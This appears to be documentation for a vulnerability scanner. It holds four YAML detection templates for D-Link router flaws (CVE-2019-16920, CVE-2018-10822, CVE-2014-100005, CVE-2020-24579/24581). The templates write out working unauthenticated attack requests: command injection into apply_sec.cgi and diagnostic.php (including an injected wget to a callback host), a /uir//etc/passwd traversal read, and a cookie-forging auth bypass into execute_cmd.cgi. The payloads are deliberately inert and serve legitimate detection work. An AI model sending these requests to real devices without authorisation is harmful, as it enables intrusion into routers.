| Detection | script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-routers/CVE-2019-16920.yaml |
Probes D-Link router CGI (apply_sec.cgi) for unauthenticated OS command injection. A per-run random token is injected inside an empty command substitution (echo NOCTIS$()<token>); a vulnerable device executes the echo and returns a contiguous NOCTIS<token> marker, confirming command execution (QoD 97). A patched device reflects the payload with the $() intact, so the contiguous marker never forms and no finding is raised.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /apply_sec.cgiwith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: Command injection confirmed on /apply_sec.cgi — empty-$() payload collapsed into a contiguous per-run marker in a 200 response, proving she…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16920
- https://github.com/eniac888/CVE-2019-16920-MassPwn3r
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16920.yaml
Feed source — tests/vulnerabilities/dlink-routers/CVE-2019-16920.yaml
# D-Link Routers — Unauthenticated Remote Code Execution / Command Injection
#
# CVE-2019-16920 — several D-Link router models (DIR-655, DIR-866L, DIR-652,
# DHP-1565 and others) expose a CGI endpoint reachable without authentication
# that passes attacker-controlled input to a shell, allowing OS command
# injection. CISA KEV (added 2022-03-25), exploited in the wild.
#
# Detection method — command-substitution collapse (inert, no real exploitation):
# A `script` step mints a per-run random token and builds the payload
# `echo NOCTIS$()<token>`. The empty `$()` command substitution splits the
# literal string in two: only a host that actually feeds the value to a shell
# collapses `NOCTIS$()<token>` back into one contiguous `NOCTIS<token>`. A
# device that merely reflects the parameter leaves the `$()` in place, so the
# contiguous marker never appears.
#
# The payload is placed in a POST body (reqwest does not normalise request
# bodies) so the shell metacharacters reach the target verbatim. The match is
# a regex for the contiguous marker, GATED on a condition that ties it to the
# token minted for THIS run — a mock that fabricates a constant marker, or a
# patched device that reflects the payload intact, both fail the gate.
#
# This is a detection probe, not an exploit: the only command is `echo` of a
# random string; nothing is written, read, or persisted on the target.
uid: 5ef0ef74-2f9f-4a56-8e48-6a31146e4774
name: "D-Link Routers Unauthenticated Command Injection RCE (CVE-2019-16920)"
description: |
Probes D-Link router CGI (apply_sec.cgi) for unauthenticated OS command
injection. A per-run random token is injected inside an empty command
substitution (echo NOCTIS$()<token>); a vulnerable device executes the echo
and returns a contiguous NOCTIS<token> marker, confirming command execution
(QoD 97). A patched device reflects the payload with the $() intact, so the
contiguous marker never forms and no finding is raised.
cves: [CVE-2019-16920]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [dlink, router, rce, command-injection, kev, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-16920"
- "https://github.com/eniac888/CVE-2019-16920-MassPwn3r"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16920.yaml"
steps:
# Mint a per-run token and build the collapse payload + expected marker.
# payload : echo NOCTIS$()<token> (what we inject — split by empty $() )
# marker : NOCTIS<token> (what a real shell collapses it into)
- id: gen-collapse
action: script
code: |
let t = rand_hex(16);
#{ token: t, marker: "NOCTIS" + t, payload: "echo NOCTIS$()" + t }
store_as: gen
# Inject the payload in the POST body. The body is NOT URL-normalised by
# reqwest, so the $() reaches the target verbatim. port is always set.
- id: cmd-inject-probe
action: http_request
method: POST
path: "/apply_sec.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "html_response_page=login_pic.asp&action=do_graph_auth&login_n=admin&session_id=62384&cmd={{gen.payload}}"
store_as: resp
# Confirm the collapse: the contiguous per-run marker must appear in a 200
# response. The regex alone is not enough — the condition ties the match to
# THIS run's token (stridx >= 0 only when NOCTIS<token> is contiguous), so a
# reflected $() payload or a fabricated constant marker both fail here.
- id: confirm-collapse
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, gen.marker) >= 0"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "Command injection confirmed on /apply_sec.cgi — empty-$() payload collapsed into a contiguous per-run marker in a 200 response, proving shell execution of injected input."
stop: trueD-Link DIR / DWR /uir// Unauthenticated Directory Traversal
| CVE | CVE-2018-10822 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dlink-routers/CVE-2018-10822.yaml |
Detects the unauthenticated directory traversal in the web interface of D-Link DIR-140L / DIR-640L and DWR-111 / 116 / 512 / 712 / 912 / 921 routers (CVE-2018-10822, incomplete fix of CVE-2017-6190): any absolute path after /uir// is served from the filesystem. Confirmed by reading the passwd root entry through /uir//etc/passwd (HTTP 200), with a per-run negative control on a random non-existent file to rule out catch-all responders. Password hashes are redacted from the evidence.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /uir//etc/passwd HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /uir//etc/noctis-{{tok}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
leak.linefor^root:<redacted>:0:[01]:→ finding QoD 75: D-Link /uir// directory traversal confirmed: GET /uir//etc/passwd returned HTTP 200 with … passwd entries (root line, password field redact…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-10822
- https://nvd.nist.gov/vuln/detail/CVE-2018-10823
- https://nvd.nist.gov/vuln/detail/CVE-2018-10824
- https://seclists.org/fulldisclosure/2018/Oct/36
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10822.yaml
Feed source — tests/vulnerabilities/dlink-routers/CVE-2018-10822.yaml
# D-Link DIR / DWR — unauthenticated directory traversal via /uir// (CVE-2018-10822)
#
# Ported from OpenVAS/Greenbone NVT `2018/dlink/gb_dlink_dir_dwr_mult_vuln_oct18.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108487, GPL-2.0-only); same request as the Nuclei
# template `http/cves/2018/CVE-2018-10822.yaml`.
#
# The web server of DWR-116 (<= 1.06), DIR-140L / DIR-640L (<= 1.02), DWR-512 /
# 712 / 912 / 921 (<= 2.02) and DWR-111 (<= 1.01) serves any absolute filesystem
# path placed after `/uir//` without authentication — an incomplete fix for
# CVE-2017-6190. The same advisory chains it with CVE-2018-10824 (admin password
# stored in clear text in /tmp/XXX/0) and CVE-2018-10823 (authenticated command
# injection in chkisg.htm); this feed proves only the traversal, so only
# CVE-2018-10822 is listed in `cves:`.
#
# Detection (read-only, QoD 75) — the NASL request `GET /uir//etc/passwd`:
# - the reply must be an HTTP 200 (the NASL's check_header:TRUE) and carry a
# passwd root entry `root:<pw>:0:[01]:` (NASL traversal_files("linux") pattern);
# - improvement over the NASL: a per-run negative control — the same request
# for a random non-existent file `/uir//etc/noctis-<tok>` must NOT return a
# passwd root entry. A catch-all responder (honeypot, CTF trap, proxy error
# page) that returns passwd-like text for any path is therefore not reported;
# only a server that actually maps the path to the filesystem is.
# - the password field of the matched line is replaced by `<redacted>` before
# matching (embedded firmware often keeps the crypt hash in /etc/passwd, and a
# match step copies its source into the finding); evidence carries the
# redacted root line and the number of account lines read, never the file.
#
# Not done (intentional, benign-proof rule): reading /tmp/XXX/0 to recover the
# admin password (CVE-2018-10824) would exfiltrate a live secret.
#
# Requests go through `tcp_connect` so the `//` reaches the device byte-for-byte.
uid: 2321dc43-561a-413f-a13c-d95012f0298c
name: "D-Link DIR / DWR /uir// Unauthenticated Directory Traversal (CVE-2018-10822)"
description: |
Detects the unauthenticated directory traversal in the web interface of
D-Link DIR-140L / DIR-640L and DWR-111 / 116 / 512 / 712 / 912 / 921 routers
(CVE-2018-10822, incomplete fix of CVE-2017-6190): any absolute path after
/uir// is served from the filesystem. Confirmed by reading the passwd root
entry through /uir//etc/passwd (HTTP 200), with a per-run negative control on
a random non-existent file to rule out catch-all responders. Password hashes
are redacted from the evidence.
cves: [CVE-2018-10822]
cvss: 7.5
severity: high
confidence_base: 0.30
category: file-read
tags: [dlink, dir, dwr, router, path-traversal, file-read, iot, lfi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-10822"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-10823"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-10824"
- "https://seclists.org/fulldisclosure/2018/Oct/36"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10822.yaml"
steps:
# Per-run token for the negative-control file name. rand_hex(8) => 16 hex chars.
- id: gen-token
action: script
code: |
rand_hex(8)
store_as: tok
# The NASL request.
- id: read-passwd
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /uir//etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
# HTTP 200 + passwd root entry; returns the root line with its password field
# redacted, and the number of passwd-shaped lines. A missing reply (banner is
# `()`) yields ok=false.
- id: parse-passwd
action: script
code: |
let b = if type_of(resp.banner) == "string" { resp.banner } else { "" };
let ok200 = ereg("^HTTP/1\\.[01] 200", b);
let root = egrep("^root:[^:\\r\\n]*:0:[01]:", b);
let entries = egrep("^[A-Za-z0-9_.-]+:[^:\\r\\n]*:[0-9]+:[0-9]+:", b);
let line = if strlen(root) > 0 { split(root, "\n")[0] } else { "" };
let n = if strlen(entries) > 0 { split(entries, "\n").len() } else { 0 };
#{
ok: ok200 && strlen(root) > 0,
line: ereg_replace("^root:[^:]*:", "root:<redacted>:", line),
count: n
}
store_as: leak
# Negative control: same traversal, random non-existent file.
- id: read-control
action: tcp_connect
condition: "leak.ok == true"
port: "{{port}}"
timeout_secs: 10
send: "GET /uir//etc/noctis-{{tok}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: ctl
- id: parse-control
action: script
condition: "leak.ok == true"
code: |
let b = if type_of(ctl.banner) == "string" { ctl.banner } else { "" };
ereg("(?m)^root:[^:\\r\\n]*:0:[01]:", b)
store_as: ctl_hit
- id: confirm
action: match
condition: "leak.ok == true && ctl_hit == false"
source: leak.line
pattern: "^root:<redacted>:0:[01]:"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "D-Link /uir// directory traversal confirmed: GET /uir//etc/passwd returned HTTP 200 with {{leak.count}} passwd entries (root line, password field redacted: {{leak.line}}); a random non-existent /uir//etc/noctis-<tok> did not"
stop: trueD-Link DIR Routers diagnostic.php Command Injection
| CVE | CVE-2014-100005 |
|---|---|
| Severity | high · CVSS 8.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, set_var, match, script, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-routers/CVE-2014-100005.yaml |
Detects the OS command injection in the ping action of /diagnostic.php on D-Link DIR-600, DIR-300 revB, DIR-645, DIR-815, DIR-412, DIR-456 and DIR-110 routers (CVE-2014-100005, CISA KEV). Confirmation is blind: when OOB is configured, an injected wget must fetch a per-run callback URL that only a shell can rebuild ($()-split token); otherwise an injected sleep must delay the reply in proportion to its argument against a fast control request.
How noctis detects it
- HTTP(S) request
POST /diagnostic.phpwith a crafted body - Checks
ctrl.bodyfor[\s\S]* - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /diagnostic.phpwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: D-Link diagnostic.php command injection confirmed: the injected wget in the dst parameter fetched the per-run OOB URL, whose token only a s…
- HTTP(S) request
POST /diagnostic.phpwith a crafted body - HTTP(S) request
POST /diagnostic.phpwith a crafted body - Checks
slow3.bodyfor[\s\S]*→ finding QoD 75: D-Link diagnostic.php command injection confirmed by timing: control ;sleep 0; answered in … ms, injected ;sleep 6; in … ms and ;sleep 3; i…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-100005
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
Feed source — tests/vulnerabilities/dlink-routers/CVE-2014-100005.yaml
# D-Link DIR-600 / DIR-300 revB / DIR-645 / DIR-815 / DIR-412 / DIR-456 / DIR-110
# — OS command injection in /diagnostic.php `dst` parameter (CVE-2014-100005, CISA KEV)
#
# Ported from OpenVAS/Greenbone NVT `2013/gb_dlink_multiple_devices_58938.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103691, GPL-2.0-only); same injection point as the
# Metasploit module `exploits/linux/http/dlink_diagnostic_exec_noauth`.
#
# The ping action of /diagnostic.php hands the `dst` value to a shell, so
# `act=ping&dst=;<cmd>;` runs <cmd> as root. The firmware does not echo the
# command output into the reply (the page only reports the ping status), so the
# proof has to be blind.
#
# CVE mapping: NVD files CVE-2014-100005 as CSRF on the DIR-600, whose item (4)
# is "send a ping via a ping action to diagnostic.php" — the same unauthenticated
# ping action this feed injects into. The Metasploit module above, the NASL and
# CISA KEV (exploited in the wild) all tie this diagnostic.php injection
# (BID 58938, EDB 24926) to CVE-2014-100005.
#
# Detection — two benign proofs, nothing written, read or persisted:
# 1. OOB callback (QoD 97, only when OOB is configured). The injected command
# is `wget -q -O /dev/null http://<oob>/<a>$()<b>` where <a><b> = oob_token.
# The token is split by an empty $() so only a real shell rebuilds the
# callback path; a proxy/IDS that merely fetches URLs seen in the request
# hits a wrong path. Output goes to /dev/null, nothing is stored.
# 2. Time-differential fallback (QoD 75, when OOB is off or did not fire).
# The NASL's own primitive (`;sleep N;`), tightened: a `;sleep 0;` control
# must answer 200 in under 3 s, `;sleep 6;` must take >= control + 5 s, and
# `;sleep 3;` must take >= control + 2.5 s but less than the 6 s probe. A
# uniformly slow or overloaded server cannot satisfy all three; only a
# delay that scales with the injected argument does.
#
# Deviations from the NASL (intentional): the NASL sends sleep 3/5/10 and
# counts 2 hits inside a [N, N+5] s window with no baseline, so a host that is
# slow on every request (5-8 s) hits for 3 and 5 and is reported; the control
# request + scaling check removes that false positive, and the OOB branch adds a
# non-timing proof. The NASL also requires a prior D-Link fingerprint; this feed
# probes /diagnostic.php directly on every http/https port and only continues
# when the control request answers 200.
#
# `dst` goes in a form body, which reqwest sends byte-for-byte, so
# `http_request` is safe here (no path normalisation involved).
uid: e8fb517d-8151-4047-a486-6f75b8a372cb
name: "D-Link DIR Routers diagnostic.php Command Injection (CVE-2014-100005)"
description: |
Detects the OS command injection in the ping action of /diagnostic.php on
D-Link DIR-600, DIR-300 revB, DIR-645, DIR-815, DIR-412, DIR-456 and DIR-110
routers (CVE-2014-100005, CISA KEV). Confirmation is blind: when OOB is
configured, an injected wget must fetch a per-run callback URL that only a
shell can rebuild ($()-split token); otherwise an injected sleep must delay
the reply in proportion to its argument against a fast control request.
cves: [CVE-2014-100005]
cvss: 8.0
severity: high
confidence_base: 0.30
category: rce
tags: [dlink, dir-600, dir-645, dir-300, router, command-injection, rce, iot, kev, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-100005"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb"
steps:
# Control: the NASL request with an inert `;sleep 0;`. Gates the rest of the
# feed on /diagnostic.php existing (200) and gives the latency baseline.
- id: control
action: http_request
method: POST
path: /diagnostic.php
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
Cookie: "uid=hfaiGzkB4z"
body: "act=ping&dst=%3b%20sleep%200%3b"
store_as: ctrl
- id: gate
action: set_var
var_name: diag_ok
var_value: false
- id: gate-check
action: match
source: ctrl.body
pattern: "[\\s\\S]*"
condition: "ctrl.status == 200 && ctrl.duration_ms < 3000"
on_match:
set_vars:
diag_ok: true
# ── Branch 1: OOB callback ────────────────────────────────────────────────
# Split the OOB token around an empty $() (sent as %24%28%29) so that only a
# shell collapses it back into /<oob_token>.
- id: split-oob-token
action: script
condition: "diag_ok == true && oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: POST
path: /diagnostic.php
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
condition: "diag_ok == true && oob_enabled"
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
Cookie: "uid=hfaiGzkB4z"
body: "act=ping&dst=%3b%20wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%3b"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "diag_ok == true && oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "D-Link diagnostic.php command injection confirmed: the injected wget in the dst parameter fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (HTTP callback received)"
stop: true
# ── Branch 2: time differential ───────────────────────────────────────────
- id: inject-sleep6
action: http_request
method: POST
path: /diagnostic.php
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "diag_ok == true"
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
Cookie: "uid=hfaiGzkB4z"
body: "act=ping&dst=%3b%20sleep%206%3b"
store_as: slow6
- id: inject-sleep3
action: http_request
method: POST
path: /diagnostic.php
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "diag_ok == true && slow6.duration_ms >= ctrl.duration_ms + 5000"
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
Cookie: "uid=hfaiGzkB4z"
body: "act=ping&dst=%3b%20sleep%203%3b"
store_as: slow3
# slow3 only exists when the 6 s probe already held; an undefined slow3
# makes the condition false.
- id: confirm-timing
action: match
source: slow3.body
pattern: "[\\s\\S]*"
condition: "diag_ok == true && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < slow6.duration_ms"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "D-Link diagnostic.php command injection confirmed by timing: control ;sleep 0; answered in {{ctrl.duration_ms}} ms, injected ;sleep 6; in {{slow6.duration_ms}} ms and ;sleep 3; in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
stop: trueD-Link DSL-2888A Authentication Bypass and execute_cmd.cgi RCE
| CVE | CVE-2020-24577, CVE-2020-24578, CVE-2020-24579, CVE-2020-24580, CVE-2020-24581 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, http_request, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-routers/dlink-dsl-2888a-auth-bypass-rce.yaml |
D-Link DSL-2888A firmware before AU_2.31_V1.1.47ae55 authenticates any `uid` session cookie that visits /page/login/login_succ.html, and exposes a hidden /cgi-bin/execute_cmd.cgi that runs arbitrary commands for an authenticated session (Trustwave TWSL2020-011). The feed upgrades a random cookie, then proves command execution with an inert `echo NOCTIS$((A+B))` whose evaluated sum must come back; when the CGI does not answer, the authenticated dashboard reached with the forged cookie proves the authentication bypass.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /page/login/login_succ.html - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/execute_cmd.cgi?timestamp={{s.ts}}&cmd=echo%20NOCTIS%24%28%28{{s.a}}%2B{{s.b… - Checks
ex.bannerforNOCTIS[0-9]+→ finding QoD 97: D-Link DSL-2888A authentication bypass + execute_cmd.cgi RCE confirmed: a random uid cookie was authenticated by GET /page/login/login_succ… - HTTP(S) request
GET /index.html - Parses / computes the next value with a Rhai script
- Checks
dashboardfor^true$→ finding QoD 75: D-Link DSL-2888A authentication bypass confirmed: after GET /page/login/login_succ.html with a random uid cookie, /index.html served the au…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-24579
- https://nvd.nist.gov/vuln/detail/CVE-2020-24581
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24579.yaml
Feed source — tests/vulnerabilities/dlink-routers/dlink-dsl-2888a-auth-bypass-rce.yaml
# D-Link DSL-2888A < AU_2.31_V1.1.47ae55 — authentication bypass chained with
# the hidden execute_cmd.cgi command execution (CVE-2020-24577 .. CVE-2020-24581,
# Trustwave TWSL2020-011).
#
# Ported from OpenVAS/Greenbone NVT
# `2020/dlink/gb_dlink_dsl_devices_mult_vuln_dec20.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.117117, GPL-2.0-only). The NVT reports the five
# CVEs of the advisory together, so this feed carries all five as well.
#
# The bugs:
# * Authentication bypass (CVE-2020-24579): the session cookie `uid` is
# marked authenticated without a valid password. The NASL triggers it by a
# plain GET of /page/login/login_succ.html with a random `uid` cookie; every
# later request carrying that cookie is logged in.
# * Hidden debug CGI (CVE-2020-24581): /cgi-bin/execute_cmd.cgi?timestamp=..&cmd=..
# runs `cmd` as root for any authenticated session — with the bypass above,
# unauthenticated RCE.
#
# Detection — the NASL request first, then a benign exploitation proof:
# 1. GET /page/login/login_succ.html with a fresh random uid cookie; the reply
# must carry the NASL's `top.location.href = "/index.html";` redirect.
# 2. Real RCE proof (QoD 97). With the same cookie, GET execute_cmd.cgi with
# cmd = `echo NOCTIS$((A+B))`, A/B random per run. Only a shell evaluates
# the arithmetic expansion and returns NOCTIS<A+B>; the sum never appears
# in the request, so a reflecting or character-stripping page cannot
# produce it. Nothing is written, read or persisted on the device.
# 3. Fallback (QoD 75, the NASL's own proof): GET /index.html with the cookie
# and look for the NASL's authenticated-dashboard markers — covers devices
# where the bypass works but the hidden CGI is absent or not echoing.
#
# Better than the NASL:
# * The NASL only proves a session upgrade; this feed goes on to prove the
# command execution the chain grants (QoD 97 instead of 75).
# * The NASL runs only on hosts already fingerprinted as D-Link (CPE
# cpe:/o:dlink). The feed needs no fingerprint: the login_succ redirect gate
# plus the per-run proof identify the device, so a D-Link whose detection
# failed is still covered (the NVT itself notes other DSL models are hit).
# * The dashboard markers are read from the page into a boolean, so the
# device's MAC address shown on that page never ends up in the finding.
#
# Deviation from the Nuclei template (CVE-2020-24579.yaml): it runs
# `cat /etc/passwd`; the echo arithmetic proof uses the same CGI without
# reading any system file. No login POST is sent (no failed-login counter is
# touched), exactly like the NASL.
#
# The CGI request goes through `tcp_connect` so `%24%28%28` / `%2B` reach the
# device byte-for-byte (no client-side URL normalisation).
uid: 904e4e25-c712-4de6-bf6e-a027c7bc9000
name: "D-Link DSL-2888A Authentication Bypass and execute_cmd.cgi RCE (CVE-2020-24579, CVE-2020-24581)"
description: |
D-Link DSL-2888A firmware before AU_2.31_V1.1.47ae55 authenticates any `uid` session
cookie that visits /page/login/login_succ.html, and exposes a hidden
/cgi-bin/execute_cmd.cgi that runs arbitrary commands for an authenticated session
(Trustwave TWSL2020-011). The feed upgrades a random cookie, then proves command
execution with an inert `echo NOCTIS$((A+B))` whose evaluated sum must come back; when
the CGI does not answer, the authenticated dashboard reached with the forged cookie
proves the authentication bypass.
cves: [CVE-2020-24577, CVE-2020-24578, CVE-2020-24579, CVE-2020-24580, CVE-2020-24581]
cvss: 8.8
severity: high
confidence_base: 0.30
category: rce
tags: [dlink, dsl-2888a, router, auth-bypass, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-24579"
- "https://nvd.nist.gov/vuln/detail/CVE-2020-24581"
- "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24579.yaml"
steps:
# ── Pre-init everything a later condition / script reads ───────────────────
- id: init-succ
action: set_var
var_name: succ
var_value: {status: 0, body: null}
- id: init-idx
action: set_var
var_name: idx
var_value: {status: 0, body: null}
- id: init-gate
action: set_var
var_name: gate
var_value: false
- id: init-dashboard
action: set_var
var_name: dashboard
var_value: false
# ── Per-run values: random 10-char uid cookie (as the NASL), timestamp,
# arithmetic operands and the evaluated marker we expect back ────────────
- id: gen
action: script
store_as: s
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{
uid: rand_str(10),
ts: rand_int(1600000000000, 1700000000000).to_string(),
a: a.to_string(),
b: b.to_string(),
marker: "NOCTIS" + (a + b).to_string()
}
# ── 1. NASL request: upgrade the random cookie via login_succ.html ─────────
- id: login-succ
action: http_request
method: GET
path: "/page/login/login_succ.html"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
headers:
Cookie: "uid={{s.uid}}"
store_as: succ
- id: gate-check
action: script
store_as: gate
code: |
succ.status == 200 && type_of(succ.body) == "string" &&
stridx(succ.body, "top.location.href = \"/index.html\";") >= 0
# ── 2. RCE proof through the hidden debug CGI ──────────────────────────────
# %20 = space %24%28%28 = $(( %2B = + %29%29 = ))
- id: exec
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: "gate == true"
send: "GET /cgi-bin/execute_cmd.cgi?timestamp={{s.ts}}&cmd=echo%20NOCTIS%24%28%28{{s.a}}%2B{{s.b}}%29%29 HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: uid={{s.uid}}\r\nConnection: close\r\n\r\n"
store_as: ex
# The evaluated sum must be in the reply; a raw reflection keeps $((A+B)).
- id: confirm-rce
action: match
source: ex.banner
pattern: "NOCTIS[0-9]+"
condition: "gate == true && ex.connected == true && type_of(ex.banner) == \"string\" && stridx(ex.banner, s.marker) >= 0"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "D-Link DSL-2888A authentication bypass + execute_cmd.cgi RCE confirmed: a random uid cookie was authenticated by GET /page/login/login_succ.html, then /cgi-bin/execute_cmd.cgi evaluated cmd=echo NOCTIS$(({{s.a}}+{{s.b}})) and returned {{s.marker}}"
stop: true
# ── 3. Fallback, the NASL's own proof: authenticated dashboard ─────────────
- id: index
action: http_request
method: GET
path: "/index.html"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
condition: "gate == true"
headers:
Cookie: "uid={{s.uid}}"
store_as: idx
# Reduce the page to a boolean so the MAC address it shows stays out of the
# finding (a match step copies its source into the evidence).
- id: dashboard-check
action: script
condition: "gate == true"
store_as: dashboard
code: |
let b = if type_of(idx.body) == "string" { idx.body } else { "" };
idx.status == 200 && (
stridx(b, "label id=\"index_Show_MacAddress\">") >= 0 ||
stridx(b, "Click on the pencil icon to give the device a name to make it easy to identify") >= 0 ||
stridx(b, "<div class=\"goto_icon\"><img src=\"/skin/gotosettings.png\"") >= 0 ||
stridx(b, "A new firmware is available! Do you want to download and upgrade the firmware?") >= 0
)
- id: confirm-bypass
action: match
source: dashboard
pattern: "^true$"
condition: "gate == true && dashboard == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "D-Link DSL-2888A authentication bypass confirmed: after GET /page/login/login_succ.html with a random uid cookie, /index.html served the authenticated dashboard to that cookie without any login (execute_cmd.cgi did not return the evaluated marker)"